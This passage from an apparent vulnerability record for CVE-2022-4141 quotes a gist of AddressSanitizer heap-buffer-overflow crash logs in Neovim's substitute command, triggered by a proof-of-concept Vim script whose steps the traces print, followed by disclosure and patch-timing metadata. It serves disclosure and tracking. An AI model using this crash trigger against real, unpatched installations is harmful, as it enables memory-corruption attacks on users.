0x0c067fff86c0: fa fa fd fd fd fd fa fa 00 00 00 06 fa fa 00 00\n=>0x0c067fff86d0: 00 06 fa fa 00 00 00[02]fa fa fa fa fa fa fa fa\n  0x0c067fff86e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff86f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8710: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8720: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==9981==ABORTING\n\n\n\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_sub_expr_goto_other_file()\n\nline 18: \n\nline 19: call Test_sub_expr_goto_other_file()\n\ncalling function Test_sub_expr_goto_other_file()\n\nline 1:   call writefile([''], 'Xfileone')\n\nline 2:   enew!\n\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, ['Xfileone zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'])\n\nline 5: \n\nline 6:   func g:SplitGotoFile()\n\nline 10: \n\nline 11:   1\n\nline 12:   1s/\\ny*/\\=g:SplitGotoFile()/\n\ncalling function Test_sub_expr_goto_other_file[12]..SplitGotoFile()\n\nline 1:     exe \"sil! norm 0\\gf\"\n\nline 1: sil! norm 0^Wgf\n\nline 2:     return ''\n\nfunction Test_sub_expr_goto_other_file[12]..SplitGotoFile returning ''\n\ncontinuing in function Test_sub_expr_goto_other_file\n\nError detected while processing function Test_sub_expr_goto_other_file:\nline   12:\nE315: ml_get: invalid lnum: 2=================================================================\n==10067==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000009b6a at pc 0x0000004d5ff5 bp 0x7ffe9b4f4150 sp 0x7ffe9b4f3918\nWRITE of size 53 at 0x603000009b6a thread T0\n    #0 0x4d5ff4 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4)\n    #1 0x8cb937 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4090:11\n    #2 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #3 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #4 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #5 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #6 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #7 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #8 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #9 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #10 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #11 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #12 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #13 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #14 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #15 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #16 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #17 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #18 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #19 0x7ff7ef3db082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x603000009b6a is located 0 bytes to the right of 26-byte region [0x603000009b50,0x603000009b6a)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d668d)\n    #1 0xb5f062 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f224 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d32cd in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb8d4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #9 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #10 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #11 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #12 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #13 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #14 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #15 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #16 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #17 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #18 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #19 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #20 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #21 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #22 0x7ff7ef3db082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff9310: 00 00 02 fa fa fa fd fd fd fa fa fa fd fd fd fa\n  0x0c067fff9320: fa fa fd fd fd fd fa fa fd fd fd fa fa fa 00 00\n  0x0c067fff9330: 00 00 fa fa 00 00 06 fa fa fa 00 00 00 00 fa fa\n  0x0c067fff9340: 00 00 00 00 fa fa 00 00 00 06 fa fa 00 00 00 00\n  0x0c067fff9350: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00\n=>0x0c067fff9360: 00 00 fa fa 00 00 00 06 fa fa 00 00 00[02]fa fa\n  0x0c067fff9370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff9380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff9390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff93a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff93b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==10067==ABORTING\n\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_sub_expr_goto_other_file()\n\nline 18: \n\nline 19: call Test_sub_expr_goto_other_file()\n\ncalling function Test_sub_expr_goto_other_file()\n\nline 1:   call writefile([''], 'Xfileone')\n\nline 2:   enew!\n\nline 2: unlet! b:keymap_name\n\nline 3:   call setline(1, ['Xfileone zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'])\n\nline 5: \n\nline 6:   func g:SplitGotoFile()\n\nline 10: \n\nline 11:   1\n\nline 12:   1s/\\ny*/\\=g:SplitGotoFile()/\n\ncalling function Test_sub_expr_goto_other_file[12]..SplitGotoFile()\n\nline 1:     exe \"sil! norm 0\\gf\"\n\nline 1: sil! norm 0^Wgf\n\nline 2:     return ''\n\nfunction Test_sub_expr_goto_other_file[12]..SplitGotoFile returning ''\n\ncontinuing in function Test_sub_expr_goto_other_file\n\nError detected while processing function Test_sub_expr_goto_other_file:\nline   12:\nE315: ml_get: invalid lnum: 2=================================================================\n==9884==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000527a at pc 0x0000004c6e05 bp 0x7ffd7376a130 sp 0x7ffd737698f8\nWRITE of size 53 at 0x60300000527a thread T0\n    #0 0x4c6e04 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04)\n    #1 0x7b9342 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3804:11\n    #2 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #5 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #6 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #7 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #8 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #9 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #10 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #11 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #12 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #13 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #14 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #15 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #16 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #17 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #18 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #19 0x7f600aacc082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x60300000527a is located 0 bytes to the right of 26-byte region [0x603000005260,0x60300000527a)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #9 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #10 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #11 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #12 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #13 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #14 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #15 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #16 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #17 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #18 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #19 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #20 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #21 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #22 0x7f600aacc082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff89f0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff8a00: fd fd fa fa fd fd fd fa fa fa 00 00 00 fa fa fa\n  0x0c067fff8a10: 00 00 06 fa fa fa 00 00 00 fa fa fa 00 00 00 fa\n  0x0c067fff8a20: fa fa 00 00 00 06 fa fa 00 00 00 fa fa fa fd fd\n  0x0c067fff8a30: fd fd fa fa 00 00 00 fa fa fa 00 00 00 06 fa fa\n=>0x0c067fff8a40: 00 00 00 fa fa fa 00 00 00 06 fa fa 00 00 00[02]\n  0x0c067fff8a50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==9884==ABORTING", "url": "https://gist.github.com/zhuozhenwei/3b156844b7ebd31328c6d5ddf2278deb"}, {"timestamp": "2026-09-24T15:38:26.440Z", "date_only": false, "value": "2026-09-24T15:38:26.440", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-4141", "record": "FKIE_CVE-2022-4141", "field": "lastModified"}], "metrics": {"as_of": "2026-10-28T11:16:54.754Z", "anchors": {"origin": {"timestamp": "2022-11-02T00:00:00Z", "date_only": false, "value": "2022-11-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2022-11-02T00:00:00Z", "date_only": false, "value": "2022-11-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": null, "exploitation": null, "patch": {"timestamp": "2022-12-01T00:00:00Z", "date_only": false, "value": "2022-12-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start"]}, "total_time_to_patch": {"available": false, "missing": ["start"]}, "disclosure_to_patch": {"available": true, "seconds": 2505600.0, "hours": 696.0, "days": 29.0, "min_seconds": 2419200.0, "max_seconds": 2592000.0, "approximate": true, "ongoing": false, "order_known": true, "end_before_start": false, "start": {"timestamp": "2022-11-02T00:00:00Z", "date_only": false, "value": "2022-11-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-12-01T00:00:00Z", "date_only": false, "value": "2022-12-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}}, "time_unpatched": {"available": true, "seconds": 2505600.0, "hours": 696.0, "days": 29.0, "min_seconds": 2419200.0, "max_seconds": 2592000.0, "approximate": true, "ongoing": false, "order_known": true, "end_before_start": false, "start": {"timestamp": "2022-11-02T00:00:00Z", "date_only": false, "value": "2022-11-02T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-12-01T00:00:00Z", "date_only": false, "value": "2022-12-01T00:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-4141", "record": "MSRC_CVE-2022-4141", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}